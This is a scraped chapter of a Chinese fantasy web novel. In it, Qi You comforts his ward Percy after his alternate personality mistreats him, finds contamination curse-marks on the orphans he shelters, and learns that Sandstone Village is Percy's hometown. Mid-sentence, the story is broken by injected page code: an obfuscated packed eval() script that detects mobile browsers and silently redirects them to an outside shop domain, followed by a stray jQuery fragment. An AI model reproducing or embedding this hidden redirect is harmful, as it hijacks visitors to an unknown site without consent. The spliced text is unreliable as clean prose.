文趣网 > 都市小说 > 我的四个马甲都是救世主 > 10. 污染开始了
    第二天天一亮,祁尤就坐上马车,火急火燎地赶回了宅邸。

    “柏西,我回来啦!”

    祁尤推开家门,手里拎着伴手礼:

    “我给你带了皇宫特供的樱桃和黑西梅,出来尝尝呗!”

    然而,向来百呼百应的柏西今天就是没反应,祁尤还以为他在睡觉呢,只好悻悻地放下水果,去宅邸里找柏西。

    结果刚踏进书房,就发现了躺在书堆里睡觉的柏西,他像是过劳昏倒一般,眼下是深深的黑眼圈,手里还捏着算账的笔。

    “???柏西!”

    祁尤赶紧冲上去把人摇醒:

    “你还好吗?!怎么睡在书房里,快到床上去!”

    柏西迷迷糊糊地睁开眼,发现是祁尤,立马打了个哆嗦,翻开账本:

    “我、我还差五本就算完了,不要赶我走!”

    祁尤:“?”

    “谁敢赶你走?问过我了吗?”

    柏西呆呆地看着祁尤,开始辨认特征:

    低马尾、整齐正装、红底尖头小皮鞋……

    “教授!您确实是教授吧!您终于回来了!”

    柏西“哇”的一声扑进祁尤怀里:

    “有人顶着您的脸骂我,说我不配当您的弟弟,还威胁要把我扔出去喂狼!”

    柏西委屈极了,扑进祁尤怀里就开始呜呜哭诉,把来龙去脉讲了个清清楚楚。

    祁尤听着听着,立马明白是祁妄干的好事,差点一口气没吸上来!

    再看看地上的账本,全都是管家已经算过一遍的旧账本,祁妄仗着柏西看不懂,让他把这些没用的东西又对了三天三夜。

    祁尤气得头疼,他一手抱住柏西,一手在他的脑袋上轻轻顺抚:

    “柏西,其实我有一个隐疾,听起来可能匪夷所思……”

    祁尤耐心地安慰着柏西,将自己确诊多重人格的事情告诉了他。

    柏西的表情那叫一个精彩,他其实不太懂,一个身体怎么能住两个灵魂呢?但见祁尤一脸认真,他还是努力理解了这件事。

    祁尤捧着柏西的脸,认真地嘱咐:

    “所以,下次遇到祁妄不要怕,只管欺负回去,他就是欠揍。”

    柏西“哦”了一声,然后委屈地下头,揉了揉中指被笔磨出来的红水泡。

    祁尤看得心疼:

    “你受委屈了,我帮你教训他。”

    说完,祁尤抓起柏西的手,对着自己的右脸狠狠扇了一耳光!

    柏西:“?!”

    “等等、我不是这个意思!”

    但祁尤没有停,又抓着柏西的手给自己“啪啪”两巴掌,力度甩得比跟埃德文互殴时还大。

    [祁尤!]

    祁妄本来在身体里睡得好好的,猝不及防被扇醒,当即咆哮起来:

    [你敢为了他打我,谁才是你亲弟弟?!]

    但祁尤没理他,只是笑盈盈地看着柏西:

    “他喊疼了。你解气没?没解气再来几巴掌。”

    “解气了!解气了!”

    柏西吓得赶紧收回手,祁尤可是教主啊,他身为信徒,怎么能打上司!

    于是柏西手脚并用地逃跑了,躲进房间里不敢出来,生怕祁尤再让自己扇他耳光。

    少了一个人,偌大的宅邸里又变得安静。

    祁尤叹了口气,他又收拾了些糖果,决定去农场看看那群孤儿。

    最近事情太多,他想不到要怎么照顾这些孤儿,于是干脆让他们去农场观摩学习,顺便给奶牛喂草、挤奶,掏母鸡的蛋,修修绵羊毛。

    每周,祁尤会以学习基金的名义给孤儿们一人补贴10枚银币,这足够他们买任何想要的玩具和衣服。

    所以孤儿们都很喜欢祁尤,当见到教授又带着糖果来看他们,孤儿们纷纷拿着自己的劳动成果,围到祁尤身边求夸赞。

    “教授,我今天学会了给绵羊包扎,小羊们再也不会因骨折而死亡了。”

    独眼女孩声音糯糯的,向祁尤讨要糖果:

    “教授,我这么努力,值得拿两颗糖果吗?”

    祁尤记得她,这孩子叫安娜,左眼被异教徒吃掉了。

    于是祁尤蹲下身,敞开糖袋子:

    “当然,所有认真学习的孩子都可以拿两颗。”

    安娜欢呼说“赞美教授”,然后兴冲冲地开始选自己喜欢的口味。

    然而,祁尤注意到,安娜伸进糖果袋的手臂,上面有一条黑色的印记,他敢肯定三天前还没有。

    不,与其说印记,更像是咒印。

    咒印是黑色裂缝形状的,以胳膊肘为起点向外延伸,随着时间流逝,裂缝会越来越长,至于最后会变成什么样……祁尤不知道。

    祁尤蹙眉,又检查了其他的孤儿,发现他们胳膊上都有这些咒印,而那些遭受过异教徒极端虐待的孩子们,咒印会更深更长。

    这就是污染吗?

    祁尤沉思,情况比他想得更糟糕,他有想过会有个别孩子遭受污染,但没想到除了柏西,无一幸免。

    如果污染的尽头是疯癫和死亡……那他得尽快想办法了。

    “孩子们,最近入秋,首都里爆发了流行感冒。”

    祁尤向孩子们嘱托道:

    “接下来的两周,咱们非必要不出门。如果有想买的东西就让菲佣去,好吗?”

    孩子们面面相觑,虽然不懂何为流感,但还是表示自己会乖乖听话。

    紧接着,祁尤又和仆人们嘱托了一些关于隔离的事项,然后匆匆赶回了书房查资料。

    【污秽之父自诞生起就以“污染”为手段,吞噬了数百个国家。】

    见祁尤查资料查的焦头烂额,系统好心为他解说:

    【污秽信徒遍布全球,以统治世界为最终目标。】

    【直到厄律三世登基,接连发动二十七场战争,剿灭污秽信徒几十万,并联合各国法师封印污秽之父,这才将局面控制下来。】

    【目前的医学水平不足以根治污染,隔离和安乐死依旧是主流手段。】

    祁尤扶额:

    “就算不能根治,也没有能缓解污染的药物吗?”

    【没有的。】

    【只要被污染,就是死路一条。】

    祁尤不是医生,看不懂医学论文,于是他去找污染之父的起源之地,但每个国家的历史书都各执一词,到现在都没个统一的说法。

    不过,唯有一个地方,是公认的、污秽之父曾经扎根过的地方。

    “……沙石村?”

    祁尤抚过木浆纸上的字迹,不可置信地打开了厄律给他的纸条。

    没错,就是沙石村,一个字不差。

    祁尤纳闷地抱住头:

    “他什么意思?”

    厄律肯定知道些什么,甚至可能早就知道他包庇孤儿的事情,故意等到现在才给他派发任务。

    皇帝想引导他去做什么?

    仅仅是解决污染吗?

    凭什么觉得自己一定能做到?

    祁尤总感觉没那么简单,疑问一个接一个地往外跳,cpu疯狂运作……

    “咚咚咚。”

    忽然,书房的门被敲响,打断了祁尤的思绪。

    他皱眉,起身开门:

    “有什么事?”

    菲佣恭敬地回答:

    “教授,有两个社会人士来到宅邸,说看到了您的寻医告示,说可以研制出您想要的哮喘药。”

    祁尤愣了愣,这才想起来自己确实干过这件事。

    上次柏西哮喘发作给他吓坏了,但这个时代并没有哮喘药,所以祁尤贴了告示,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874649|212343||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    寻找能治疗哮喘的医生。

    前段时间确实有人来过,但要么无功而返,要么是冲着高报酬来的江湖骗子,祁尤都快不抱希望了。

    祁尤摆摆手:

    “让他们拿药给柏西用,如果不是骗子,就付钱吧。”

    “哦不教授,他们说的是【可以研制哮喘药】。”

    菲佣解释道:

    “他们希望您能预支15金币作为研发经费,半个月后给您答复。”

    祁尤挑眉。

    15金币?真敢要啊。他在告示上写的报酬是8金币,已经是全城最高了。

    要知道金币是直接从国库里取,严格定量发给贵族当工资的,购买力很强,1金币相当于100银币。

    而大部分平民的工资是32银币/月,更穷一点的人只配用铜币。

    菲佣看出了祁尤的不满:

    “看来这俩人就是骗子,我现在就赶他们走。”

    “等下。”

    祁尤皱着眉,还在犹豫:

    “他们有没有报上姓名?来自哪个家族?或者可以叫得上名的工作室?”

    “都没有,就只是两个人,一男一女。”

    “……”

    祁尤麻了,说实话他不想交钱,因为最近开销太大,支出快和入账持平了。

    加上厄律一直给他压力,他这两天还得去沙石村一趟,也没精力去确认这些鸡毛蒜皮的小事……

    但万一呢,万一他们真能治好柏西的哮喘?

    祁尤扶着脑袋,沉默许久,还是让步了:

    “……给他们15金币,然后把他们的名字、研究地点、研究计划都要过来。”

    “就算是骗子……我也认了。”

    “遵命教授。”

    菲佣恭敬地向祁尤行礼,回去复命了。

    祁尤心累地叹了口气,然后下楼给自己泡了杯菊花茶。

    就在他靠着沙发假寐时,一双手按上了他的肩膀,开始缓缓地给他捏肩、捶背。

    “嗯?是你啊。”

    祁尤睁眼,发现是柏西在给自己揉肩,眉头立刻舒展开来。

    “教授,您是不是又破费了?”

    柏西咬着嘴,有点羞愧:

    “其实,自从搬进来后,我就没再犯过哮喘了。”

    “您不用为了我……花那么多钱。”

    祁尤笑着拍拍柏西的手,示意他坐到自己身边来,柏西也很乖,毕恭毕敬地挨着祁尤坐下。

    祁尤搭上柏西的肩膀,学着厄律的样子弹他的脑门,见柏西也“嗷呜”一声叫出来,祁尤心情顿时大好。

    “还记得入教时怎么说的吗?【成为信徒后,你将终生受教主庇护、再无苦难】。”

    祁尤哼哼笑道:

    “所以,只要我还在,你一口苦都别想吃。”

    “教授有钱,养得起你。”

    柏西捂着额头,害羞地低下头,用脸颊蹭了蹭祁尤的肩膀,这是圣埃兰一种传统的、表达谢意的礼节。

    噢,圣母在上!这太萌了,看得人疲惫一扫而空。

    祁尤心情现在好得不得了,于是掏出厄律给他写的纸条,摊开给柏西看:

    “明天,我要去这个地方剿灭污秽,你陪我一起。”

    然而,当看到【沙石村】三个字时,柏西的表情凝固了,随后又变为紧张、恐惧的神情。

    “怎么了?”

    祁尤赶紧揉揉他的脑袋:

    “认得这个地方?”

    “是的教授……”

    柏西咬着嘴,像是想到了什么恐惧的回忆,打了个寒颤:

    “沙石村是我的故乡,我生长的地方。”

    “污秽信徒就是从沙石村开始,虐杀平民、绑架祭品。”

    “也正是,我召唤您的原因……”